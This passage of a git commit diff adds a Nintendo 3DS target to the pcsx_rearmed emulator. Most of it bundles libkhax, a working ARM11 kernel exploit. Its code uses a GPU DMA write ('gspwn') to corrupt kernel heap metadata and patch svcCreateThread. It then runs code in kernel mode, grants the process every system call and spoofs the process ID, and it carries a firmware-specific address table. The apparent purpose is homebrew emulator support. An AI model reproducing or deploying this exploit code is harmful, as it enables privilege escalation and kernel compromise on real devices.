aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authoraliaspider2015-09-23 16:12:24 +0100
committeraliaspider2015-09-23 16:12:24 +0100
commitfc99395c2d7efbbaa0663feed47dc89a54e49506 (patch)
tree02114dc1d8f34d10b5eb46cb508d9d53a49cdc9f
parentc90258c8ca8d207f24c3de741572c0ef2d1e9cb8 (diff)
downloadpcsx_rearmed-fc99395c2d7efbbaa0663feed47dc89a54e49506.tar.gz
pcsx_rearmed-fc99395c2d7efbbaa0663feed47dc89a54e49506.tar.bz2
pcsx_rearmed-fc99395c2d7efbbaa0663feed47dc89a54e49506.zip
(ctr/3ds) add target.
-rw-r--r--Makefile8
-rw-r--r--Makefile.libretro25
-rw-r--r--frontend/3ds/3ds_utils.c98
-rw-r--r--frontend/3ds/3ds_utils.h19
-rw-r--r--frontend/3ds/libkhax/LICENSE22
-rw-r--r--frontend/3ds/libkhax/khax.h16
-rw-r--r--frontend/3ds/libkhax/khaxinit.cpp1110
-rw-r--r--frontend/3ds/libkhax/khaxinternal.h339
-rw-r--r--frontend/3ds/pthread.h68
-rw-r--r--frontend/3ds/sys/mman.h66
-rw-r--r--frontend/libretro.c99
-rw-r--r--frontend/main.c14
-rw-r--r--libpcsxcore/new_dynarec/emu_if.h2
-rw-r--r--libpcsxcore/new_dynarec/new_dynarec.c3
-rw-r--r--plugins/cdrcimg/cdrcimg.c4
-rw-r--r--plugins/dfxvideo/gpulib_if.c6
16 files changed, 1886 insertions, 13 deletions
diff --git a/Makefile b/Makefile
index b23d33e..f7bf1d7 100644
--- a/Makefile
+++ b/Makefile
@@ -247,11 +247,19 @@ frontend/revision.h: FORCE
%.o: %.S
$(CC_AS) $(CFLAGS) -c $^ -o $@
+%.o: %.cpp
+ $(CXX) $(CXXFLAGS) -c -o $@ $<
+
+
target_: $(TARGET)
$(TARGET): $(OBJS)
+ifeq ($(STATIC_LINKING), 1)
+ $(AR) rcs $@ $(OBJS)
+else
$(CC_LINK) -o $@ $^ $(LDFLAGS) $(LDLIBS) $(EXTRA_LDFLAGS)
+endif
clean: $(PLAT_CLEAN) clean_plugins
$(RM) $(TARGET) $(OBJS) $(TARGET).map frontend/revision.h
diff --git a/Makefile.libretro b/Makefile.libretro
index 8115510..de2bceb 100644
--- a/Makefile.libretro
+++ b/Makefile.libretro
@@ -123,6 +123,31 @@ else ifeq ($(platform), vita)
HAVE_NEON = 1
BUILTIN_GPU = neon
+# CTR(3DS)
+else ifeq ($(platform), ctr)
+ TARGET := $(TARGET_NAME)_libretro_ctr.a
+ CC = $(DEVKITARM)/bin/arm-none-eabi-gcc$(EXE_EXT)
+ CXX = $(DEVKITARM)/bin/arm-none-eabi-g++$(EXE_EXT)
+ AR = $(DEVKITARM)/bin/arm-none-eabi-ar$(EXE_EXT)
+ CFLAGS += -DARM11 -D_3DS -DNO_OS
+ CFLAGS += -march=armv6k -mtune=mpcore -mfloat-abi=hard -marm -mfpu=vfp
+ CFLAGS += -Wall -mword-relocations
+ CFLAGS += -fomit-frame-pointer -ffast-math
+ CFLAGS += -I$(CTRULIB)/include -I$(DEVKITPRO)/portlibs/armv6k/include -Ifrontend/3ds
+ CFLAGS += -Werror=implicit-function-declaration
+
+ CXXFLAGS += -fno-rtti -fno-exceptions -std=gnu++11
+ OBJS += frontend/3ds/3ds_utils.o frontend/3ds/libkhax/khaxinit.o
+
+
+# CFLAGS += -DPCSX
+# BUILTIN_GPU = unai
+ USE_DYNAREC = 1
+ DRC_CACHE_BASE = 0
+ ARCH = arm
+
+ STATIC_LINKING = 1
+
# Xbox 360
else ifeq ($(platform), xenon)
TARGET := $(TARGET_NAME)_libretro_xenon360.a
diff --git a/frontend/3ds/3ds_utils.c b/frontend/3ds/3ds_utils.c
new file mode 100644
index 0000000..c36146c
--- /dev/null
+++ b/frontend/3ds/3ds_utils.c
@@ -0,0 +1,98 @@
+
+#include "3ds.h"
+#include "libkhax/khax.h"
+
+static int ninjhax_version = 0;
+
+typedef s32 (*ctr_callback_type)(void);
+
+static void ctr_enable_all_svc_kernel(void)
+{
+ __asm__ volatile("cpsid aif");
+
+ u32* svc_access_control = *(*(u32***)0xFFFF9000 + 0x22) - 0x6;
+
+ svc_access_control[0]=0xFFFFFFFE;
+ svc_access_control[1]=0xFFFFFFFF;
+ svc_access_control[2]=0xFFFFFFFF;
+ svc_access_control[3]=0x3FFFFFFF;
+}
+
+
+static void ctr_invalidate_ICache_kernel(void)
+{
+ __asm__ volatile(
+ "cpsid aif\n\t"
+ "mov r0, #0\n\t"
+ "mcr p15, 0, r0, c7, c5, 0\n\t");
+}
+
+static void ctr_flush_DCache_kernel(void)
+{
+ __asm__ volatile(
+ "cpsid aif\n\t"
+ "mov r0, #0\n\t"
+ "mcr p15, 0, r0, c7, c10, 0\n\t");
+
+}
+
+
+static void ctr_enable_all_svc(void)
+{
+ svcBackdoor((ctr_callback_type)ctr_enable_all_svc_kernel);
+}
+
+void ctr_invalidate_ICache(void)
+{
+// __asm__ volatile("svc 0x2E\n\t");
+ svcBackdoor((ctr_callback_type)ctr_invalidate_ICache_kernel);
+
+}
+
+void ctr_flush_DCache(void)
+{
+// __asm__ volatile("svc 0x4B\n\t");
+ svcBackdoor((ctr_callback_type)ctr_flush_DCache_kernel);
+}
+
+
+void ctr_flush_invalidate_cache(void)
+{
+ ctr_flush_DCache();
+ ctr_invalidate_ICache();
+}
+
+int ctr_svchack_init(void)
+{
+ Handle tempHandle;
+ Result res = srvGetServiceHandle(&tempHandle, "am:u");
+ if(res == 0)
+ {
+ /* CFW */
+ svcCloseHandle(tempHandle);
+ ninjhax_version = 0;
+ ctr_enable_all_svc();
+ return 1;
+ }
+ else if(hbInit() == 0)
+ {
+ /* ninjhax 1.0 */
+ ninjhax_version = 1;
+ hbExit();
+ khaxInit();
+ return 1;
+ }
+ else
+ {
+ /* ninjhax 2.0 */
+
+ return 0;
+ }
+}
+
+
+void ctr_svchack_exit(void)
+{
+ if (ninjhax_version == 1)
+ khaxExit();
+}
diff --git a/frontend/3ds/3ds_utils.h b/frontend/3ds/3ds_utils.h
new file mode 100644
index 0000000..e951dbc
--- /dev/null
+++ b/frontend/3ds/3ds_utils.h
@@ -0,0 +1,19 @@
+#ifndef _3DS_UTILS_H
+#define _3DS_UTILS_H
+
+void ctr_invalidate_ICache(void);
+void ctr_flush_DCache(void);
+
+void ctr_flush_invalidate_cache(void);
+
+int ctr_svchack_init(void);
+void ctr_svchack_exit(void);
+
+#if 0
+#include "stdio.h"
+void wait_for_input(void);
+
+#define DEBUG_HOLD() do{printf("%s@%s:%d.\n",__FUNCTION__, __FILE__, __LINE__);fflush(stdout);wait_for_input();}while(0)
+#endif
+
+#endif // _3DS_UTILS_H
diff --git a/frontend/3ds/libkhax/LICENSE b/frontend/3ds/libkhax/LICENSE
new file mode 100644
index 0000000..1456b22
--- /dev/null
+++ b/frontend/3ds/libkhax/LICENSE
@@ -0,0 +1,22 @@
+The MIT License (MIT)
+
+Copyright (c) 2015 Myriachan
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
diff --git a/frontend/3ds/libkhax/khax.h b/frontend/3ds/libkhax/khax.h
new file mode 100644
index 0000000..21051c3
--- /dev/null
+++ b/frontend/3ds/libkhax/khax.h
@@ -0,0 +1,16 @@
+#pragma once
+
+#include <3ds.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+// Initialize and do the initial pwning of the ARM11 kernel.
+Result khaxInit();
+// Shut down libkhax
+Result khaxExit();
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/frontend/3ds/libkhax/khaxinit.cpp b/frontend/3ds/libkhax/khaxinit.cpp
new file mode 100644
index 0000000..5c5ad81
--- /dev/null
+++ b/frontend/3ds/libkhax/khaxinit.cpp
@@ -0,0 +1,1110 @@
+#include <3ds.h>
+#include <cstddef>
+#include <cstdint>
+#include <cstdio>
+#include <cstdlib>
+#include <cstring>
+#include <limits>
+
+#include "khax.h"
+#include "khaxinternal.h"
+
+//------------------------------------------------------------------------------------------------
+namespace KHAX
+{
+ //------------------------------------------------------------------------------------------------
+ // Kernel and hardware version information.
+ struct VersionData
+ {
+ // New 3DS?
+ bool m_new3DS;
+ // Kernel version number
+ u32 m_kernelVersion;
+ // Nominal version number lower bound (for informational purposes only)
+ u32 m_nominalVersion;
+ // Patch location in svcCreateThread
+ u32 m_threadPatchAddress;
+ // Original version of code at m_threadPatchAddress
+ static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5;
+ // System call unlock patch location
+ u32 m_syscallPatchAddress;
+ // Kernel virtual address mapping of FCRAM
+ u32 m_fcramVirtualAddress;
+ // Physical mapping of FCRAM on this machine
+ static constexpr const u32 m_fcramPhysicalAddress = 0x20000000;
+ // Physical size of FCRAM on this machine
+ u32 m_fcramSize;
+ // Address of KThread address in kernel (KThread **)
+ static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast<KThread **>(0xFFFF9000);
+ // Address of KProcess address in kernel (KProcess **)
+ static constexpr void **const m_currentKProcessPtr = reinterpret_cast<void **>(0xFFFF9004);
+ // Pseudo-handle of the current KProcess.
+ static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001;
+ // Returned pointers within a KProcess object. This abstracts out which particular
+ // version of the KProcess object is in use.
+ struct KProcessPointers
+ {
+ KSVCACL *m_svcAccessControl;
+ u32 *m_kernelFlags;
+ u32 *m_processID;
+ };
+ // Creates a KProcessPointers for this kernel version and pointer to the object.
+ KProcessPointers(*m_makeKProcessPointers)(void *kprocess);
+
+ // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual
+ // address using the version-specific information in this table entry.
+ void *ConvertLinearUserVAToKernelVA(void *address) const;
+
+ // Retrieve a VersionData for this kernel, or null if not recognized.
+ static const VersionData *GetForCurrentSystem();
+
+ private:
+ // Implementation behind m_makeKProcessPointers.
+ template <typename KProcessType>
+ static KProcessPointers MakeKProcessPointers(void *kprocess);
+
+ // Table of these.
+ static const VersionData s_versionTable[];
+ };
+
+ //------------------------------------------------------------------------------------------------
+ // ARM11 kernel hack class.
+ class MemChunkHax
+ {
+ public:
+ // Construct using the version information for the current system.
+ MemChunkHax(const VersionData *versionData)
+ : m_versionData(versionData),
+ m_nextStep(1),
+ m_corrupted(0),
+ m_overwriteMemory(nullptr),
+ m_overwriteAllocated(0),
+ m_extraLinear(nullptr)
+ {
+ s_instance = this;
+ }
+
+ // Free memory and such.
+ ~MemChunkHax();
+
+ // Umm, don't copy this class.
+ MemChunkHax(const MemChunkHax &) = delete;
+ MemChunkHax &operator =(const MemChunkHax &) = delete;
+
+ // Basic initialization.
+ Result Step1_Initialize();
+ // Allocate linear memory for the memchunkhax operation.
+ Result Step2_AllocateMemory();
+ // Free the second and fourth pages of the five.
+ Result Step3_SurroundFree();
+ // Verify that the freed heap blocks' data matches our expected layout.
+ Result Step4_VerifyExpectedLayout();
+ // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.
+ Result Step5_CorruptCreateThread();
+ // Execute svcCreateThread to execute code at SVC privilege.
+ Result Step6_ExecuteSVCCode();
+ // Grant access to all services.
+ Result Step7_GrantServiceAccess();
+
+ private:
+ // SVC-mode entry point thunk (true entry point).
+ static Result Step6a_SVCEntryPointThunk();
+ // SVC-mode entry point.
+ Result Step6b_SVCEntryPoint();
+ // Undo the code patch that Step5_CorruptCreateThread did.
+ Result Step6c_UndoCreateThreadPatch();
+ // Fix the heap corruption caused as a side effect of step 5.
+ Result Step6d_FixHeapCorruption();
+ // Grant our process access to all system calls, including svcBackdoor.
+ Result Step6e_GrantSVCAccess();
+ // Flush instruction and data caches.
+ Result Step6f_FlushCaches();
+ // Patch the process ID to 0. Runs as svcBackdoor.
+ static Result Step7a_PatchPID();
+ // Restore the original PID. Runs as svcBackdoor.
+ static Result Step7b_UnpatchPID();
+
+ // Helper for dumping memory to SD card.
+ template <std::size_t S>
+ bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const;
+
+ // Result returned by hacked svcCreateThread upon success.
+ static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE;
+
+ // Version information.
+ const VersionData *const m_versionData;
+ // Next step number.
+ int m_nextStep;
+ // Whether we are in a corrupted state, meaning we cannot continue if an error occurs.
+ int m_corrupted;
+
+ // Free block structure in the kernel, the one used in the memchunkhax exploit.
+ struct HeapFreeBlock
+ {
+ int m_count;
+ HeapFreeBlock *m_next;
+ HeapFreeBlock *m_prev;
+ int m_unknown1;
+ int m_unknown2;
+ };
+
+ // The layout of a memory page.
+ union Page
+ {
+ unsigned char m_bytes[4096];
+ HeapFreeBlock m_freeBlock;
+ };
+
+ // The linear memory allocated for the memchunkhax overwrite.
+ struct OverwriteMemory
+ {
+ union
+ {
+ unsigned char m_bytes[6 * 4096];
+ Page m_pages[6];
+ };
+ };
+ OverwriteMemory *m_overwriteMemory;
+ unsigned m_overwriteAllocated;
+
+ // Additional linear memory buffer for temporary purposes.
+ union ExtraLinearMemory
+ {
+ ALIGN(64) unsigned char m_bytes[64];
+ // When interpreting as a HeapFreeBlock.
+ HeapFreeBlock m_freeBlock;
+ };
+ // Must be a multiple of 16 for use with gspwn.
+ static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes");
+ ExtraLinearMemory *m_extraLinear;
+
+ // Copy of the old ACL
+ KSVCACL m_oldACL;
+
+ // Original process ID.
+ u32 m_originalPID;
+
+ // Buffers for dumped data when debugging.
+ #ifdef KHAX_DEBUG_DUMP_DATA
+ unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)];
+ unsigned char m_savedKThread[sizeof(KThread)];
+ unsigned char m_savedThreadSVC[0x100];
+ #endif
+
+ // Pointer to our instance.
+ static MemChunkHax *volatile s_instance;
+ };
+
+ //------------------------------------------------------------------------------------------------
+ // Make an error code
+ inline Result MakeError(Result level, Result summary, Result module, Result error);
+ enum : Result { KHAX_MODULE = 254 };
+ // Check whether this system is a New 3DS.
+ Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0);
+ // gspwn, meant for reading from or writing to freed buffers.
+ Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true);
+ // Given a pointer to a structure that is a member of another structure,
+ // return a pointer to the outer structure. Inspired by Windows macro.
+ template <typename Outer, typename Inner>
+ Outer *ContainingRecord(Inner *member, Inner Outer::*field);
+}
+
+
+//------------------------------------------------------------------------------------------------
+//
+// Class VersionData
+//
+
+//------------------------------------------------------------------------------------------------
+// Creates a KProcessPointers for this kernel version and pointer to the object.
+template <typename KProcessType>
+KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess)
+{
+ KProcessType *kproc = static_cast<KProcessType *>(kprocess);
+
+ KProcessPointers result;
+ result.m_svcAccessControl = &kproc->m_svcAccessControl;
+ result.m_processID = &kproc->m_processID;
+ result.m_kernelFlags = &kproc->m_kernelFlags;
+ return result;
+}
+
+//------------------------------------------------------------------------------------------------
+// System version table
+const KHAX::VersionData KHAX::VersionData::s_versionTable[] =
+{
+#define KPROC_FUNC(ver) MakeKProcessPointers<KProcess_##ver>
+
+ // Old 3DS, old address layout
+ { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ // Old 3DS, new address layout
+ { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },
+ // New 3DS
+ { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested
+ { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) },
+
+#undef KPROC_FUNC
+};
+
+//------------------------------------------------------------------------------------------------
+// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual
+// address using the version-specific information in this table entry.
+void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const
+{
+ static_assert((std::numeric_limits<std::uintptr_t>::max)() == (std::numeric_limits<u32>::max)(),
+ "you're sure that this is a 3DS?");
+
+ // Need the pointer as an integer.
+ u32 addr = reinterpret_cast<u32>(address);
+
+ // Convert the address to a physical address, since that's how we know the mapping.
+ u32 physical = osConvertVirtToPhys(addr);
+ if (physical == 0)
+ {
+ return nullptr;
+ }
+
+ // Verify that the address is within FCRAM.
+ if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize))
+ {
+ return nullptr;
+ }
+
+ // Now we can convert.
+ return reinterpret_cast<char *>(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress);
+}
+
+//------------------------------------------------------------------------------------------------
+// Retrieve a VersionData for this kernel, or null if not recognized.
+const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem()
+{
+ // Get kernel version for comparison.
+ u32 kernelVersion = osGetKernelVersion();
+
+ // Determine whether this is a New 3DS.
+ bool isNew3DS;
+ if (IsNew3DS(&isNew3DS, kernelVersion) != 0)
+ {
+ return nullptr;
+ }
+
+ // Search our list for a match.
+ for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry)
+ {
+ // New 3DS flag must match.
+ if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS))
+ {
+ continue;
+ }
+ // Kernel version must match.
+ if (entry->m_kernelVersion != kernelVersion)
+ {
+ continue;
+ }
+
+ return entry;
+ }
+
+ return nullptr;
+}
+
+
+//------------------------------------------------------------------------------------------------
+//
+// Class MemChunkHax
+//
+
+//------------------------------------------------------------------------------------------------
+KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr;
+
+//------------------------------------------------------------------------------------------------
+// Basic initialization.
+Result KHAX::MemChunkHax::Step1_Initialize()
+{
+ if (m_nextStep != 1)
+ {
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep);
+ return MakeError(28, 5, KHAX_MODULE, 1016);
+ }
+
+ // Nothing to do in current implementation.
+ ++m_nextStep;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Allocate linear memory for the memchunkhax operation.
+Result KHAX::MemChunkHax::Step2_AllocateMemory()
+{
+ if (m_nextStep != 2)
+ {
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep);
+ return MakeError(28, 5, KHAX_MODULE, 1016);
+ }
+
+ // Allocate the linear memory for the overwrite process.
+ u32 address = 0xFFFFFFFF;
+ Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR,
+ static_cast<MemPerm>(MEMPERM_READ | MEMPERM_WRITE));
+
+ KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address);
+
+ if (result != 0)
+ {
+ return result;
+ }
+
+ m_overwriteMemory = reinterpret_cast<OverwriteMemory *>(address);
+ m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now
+
+ // Why didn't we get a page-aligned address?!
+ if (address & 0xFFF)
+ {
+ // Since we already assigned m_overwriteMemory, it'll get freed by our destructor.
+ KHAX_printf("Step2:misaligned memory\n");
+ return MakeError(26, 7, KHAX_MODULE, 1009);
+ }
+
+ // Allocate extra memory that we'll need.
+ m_extraLinear = static_cast<ExtraLinearMemory *>(linearMemAlign(sizeof(*m_extraLinear),
+ alignof(*m_extraLinear)));
+ if (!m_extraLinear)
+ {
+ KHAX_printf("Step2:failed extra alloc\n");
+ return MakeError(26, 3, KHAX_MODULE, 1011);
+ }
+ KHAX_printf("Step2:extra=%p\n", m_extraLinear);
+
+ // OK, we're good here.
+ ++m_nextStep;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Free the second and fourth pages of the five.
+Result KHAX::MemChunkHax::Step3_SurroundFree()
+{
+ if (m_nextStep != 3)
+ {
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep);
+ return MakeError(28, 5, KHAX_MODULE, 1016);
+ }
+
+ // We do this because the exploit involves triggering a heap coalesce. We surround a heap
+ // block (page) with two freed pages, then free the middle page. By controlling both outside
+ // pages, we know their addresses, and can fix up the corrupted heap afterward.
+ //
+ // Here's what the heap will look like after step 3:
+ //
+ // ___XX-X-X___
+ //
+ // _ = unknown (could be allocated and owned by other code)
+ // X = allocated
+ // - = allocated then freed by us
+ //
+ // In step 4, we will free the second page:
+ //
+ // ___X--X-X___
+ //
+ // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's
+ // "previous" pointer will be set to point to the second page rather than the third. We will
+ // use gspwn to make that overwrite kernel code instead.
+ //
+ // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little
+ // sandbox to play in. In particular, we can use this design to determine the address of the
+ // next block--by controlling the location of the next block.
+ u32 dummy;
+
+ // Free the third page.
+ if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[2]), 0,
+ sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast<MemPerm>(0)))
+ {
+ KHAX_printf("Step3:svcCM1 failed:%08lx\n", result);
+ return result;
+ }
+ m_overwriteAllocated &= ~(1u << 2);
+
+ // Free the fifth page.
+ if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[4]), 0,
+ sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast<MemPerm>(0)))
+ {
+ KHAX_printf("Step3:svcCM2 failed:%08lx\n", result);
+ return result;
+ }
+ m_overwriteAllocated &= ~(1u << 4);
+
+ // Attempt to write to remaining pages.
+ //KHAX_printf("Step2:probing page [0]\n");
+ *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0;
+ //KHAX_printf("Step2:probing page [1]\n");
+ *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0;
+ //KHAX_printf("Step2:probing page [3]\n");
+ *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0;
+ //KHAX_printf("Step2:probing page [5]\n");
+ *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0;
+ KHAX_printf("Step3:probing done\n");
+
+ // Done.
+ ++m_nextStep;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Verify that the freed heap blocks' data matches our expected layout.
+Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout()
+{
+ if (m_nextStep != 4)
+ {
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep);
+ return MakeError(28, 5, KHAX_MODULE, 1016);
+ }
+
+ // Copy the first freed page (third page) out to read its heap metadata.
+ std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));
+
+ if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2],
+ sizeof(*m_extraLinear)))
+ {
+ KHAX_printf("Step4:gspwn failed:%08lx\n", result);
+ return result;
+ }
+
+ // Debug information about the memory block
+ KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData->
+ ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]));
+ KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,
+ m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);
+
+ // The next page from the third should equal the fifth page.
+ if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA(
+ &m_overwriteMemory->m_pages[4]))
+ {
+ KHAX_printf("Step4:[2]->next != [4]\n");
+ KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next,
+ m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]),
+ &m_overwriteMemory->m_pages[4]);
+ return MakeError(26, 5, KHAX_MODULE, 1014);
+ }
+
+ // Copy the second freed page (fifth page) out to read its heap metadata.
+ std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));
+
+ if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4],
+ sizeof(*m_extraLinear)))
+ {
+ KHAX_printf("Step4:gspwn failed:%08lx\n", result);
+ return result;
+ }
+
+ KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData->
+ ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]));
+ KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,
+ m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);
+
+ // The previous page from the fifth should equal the third page.
+ if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA(
+ &m_overwriteMemory->m_pages[2]))
+ {
+ KHAX_printf("Step4:[4]->prev != [2]\n");
+ KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev,
+ m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]),
+ &m_overwriteMemory->m_pages[2]);
+ return MakeError(26, 5, KHAX_MODULE, 1014);
+ }
+
+ // Validation successful
+ ++m_nextStep;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Corrupt svcCreateThread in the ARM11 kernel and create the foothold.
+Result KHAX::MemChunkHax::Step5_CorruptCreateThread()
+{
+ if (m_nextStep != 5)
+ {
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep);
+ return MakeError(28, 5, KHAX_MODULE, 1016);
+ }
+
+ // Read the memory page we're going to gspwn.
+ if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock,
+ sizeof(*m_extraLinear)))
+ {
+ KHAX_printf("Step5:gspwn read failed:%08lx\n", result);
+ return result;
+ }
+
+ // Adjust the "next" pointer to point to within the svcCreateThread system call so as to
+ // corrupt certain instructions. The result will be that calling svcCreateThread will result
+ // in executing our code.
+ // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev.
+ // That is, the overwrite adds this offset back in.
+ m_extraLinear->m_freeBlock.m_next = reinterpret_cast<HeapFreeBlock *>(
+ m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev));
+
+ // Do the GSPwn, the actual exploit we've been waiting for.
+ if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear,
+ sizeof(*m_extraLinear)))
+ {
+ KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result);
+ return result;
+ }
+
+ // The heap is now corrupted in two ways (Step6 explains why two ways).
+ m_corrupted += 2;
+
+ KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n");
+
+ // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third
+ // page into the second page, and in the process zap an instruction pair in svcCreateThread.
+ u32 dummy;
+ if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[1]),
